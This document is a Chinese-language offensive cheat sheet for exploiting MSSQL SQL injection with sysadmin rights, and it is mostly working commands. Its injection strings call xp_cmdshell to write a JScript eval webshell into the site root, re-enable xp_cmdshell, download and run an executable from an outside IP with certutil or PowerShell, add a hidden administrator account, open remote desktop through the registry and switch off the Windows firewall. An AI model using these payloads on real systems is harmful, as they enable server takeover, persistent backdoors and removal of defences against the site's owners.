Mssql全称:Microsoft SQL Server

sa全称:sysadmin

3个权限:sysadmin / db_owner / public

一,写webshell

低权限下也能写,只要是写权限。

有回显,想要回显,就要把执行结果写到表里面,然后读取表的内容即可。

无回显

爆破路径

没有爆破路径

sa注入点常用到的for循环查找文件并写shell:

for %i in (c) do (c: %i:\ &(for /r %j in (*dark5.txt) do echo ^xxxxx>>%~dpjdark5.aspx))
for /r c:\ %i in (default*.aspx) do @echo ^<^%^@ Page Language=^''Jscript^''^%eval^(Request.Item[^''c'^'],^''unsafe^''^);^%^> > %~$PATH:ixf1423.aspx

可以通过命令语句  admin2' ;exec master..xp_cmdshell "echo dark5.net >c:/AAWServer/www/active/1/hack.txt"--    来写入webshell     AAWServer/www/active/1是网站的物理路径,可以通过让网站报错来获取

   注:若是整行命令看似执行成功,但实际上我们想要插入的文件并没有成功插入,那么我们可以通过将引号内的部分分别换成ping -n 1 www.baidu.com    和 ping -n 10 www.baidu.com  来观察这两条语句执行耗费的时间是否一致,若是一样的话就说明引号内的文件路径语句没有被执行,一般这样的话就多半就是存储过程被禁用了。这时候,我们就可以使用开启语句了admin2' ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

   还有,echo ^转义的问题要注意:比如语句admin2' ;exec master..xp_cmdshell "echo <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%> >c:/AAWServer/www/active/1/hack.txt"--  直接执行是会报错的,我们需要对语句中的""进行操作变成这样才行admin2' ;exec master..xp_cmdshell "echo ^<^%^@ Page Language^=^"Jscript^"^%^>^ <^%^eval^(Request.Item^[^"pass^"^],^"unsafe^"^);^%^> >c:/AAWServer/www/active/1/hack.aspx"--      hack.tx换成hack.aspx是因为echo的一句话木马是aspx的。

二,下载 执行 反向 远程控制 服务端

下载命令:

certutil  //windows  2003 测试失败 
bitsadmin  //win 7/2008
powershell  //win 7/2008
powershell -exec bypass -c (new-object System.Net.Webclient).DownloadFile('http://192.168.0.1/1.exe,'c:\windows\temp\1.exe' )
vbs

windows命令执行漏洞不会玩? 看我! | Evi1cg's blog

下载:  admin2' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://149.28.196.150:8081/dark5.exe dark5.exe"--

执行:  admin2' ;exec master..xp_cmdshell "dark5.exe"--

远控的话可以用大灰狼,GitHub上可以下载。

三,添加用户

当前权限是有添加用户的权限,需要administrator或system;在外网;可以连接;

默认的远程桌面端口是3389

添加用户的语句:

net user dark dark5.net123 /add

将用户添加进管理员组的语句:

net localgroup administrators dark /add

将用户添加进为远程桌面组的语句:

net localgroup "Remote Management Users" dark /add

在运行框中输入mstsc可以进入远程桌面连接界面,网站的IP可以通过在cmd中ping 网址来得到。

若是无法连接可以先执行下面这条命令 admin2';exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'--

关闭所有防火墙:

netsh advfirewall set allprofiles state off

删除用户:

net user dark /del

以上语句都是在注入点当中执行的。

防护软件不给连接

防火墙开启

不给添加用户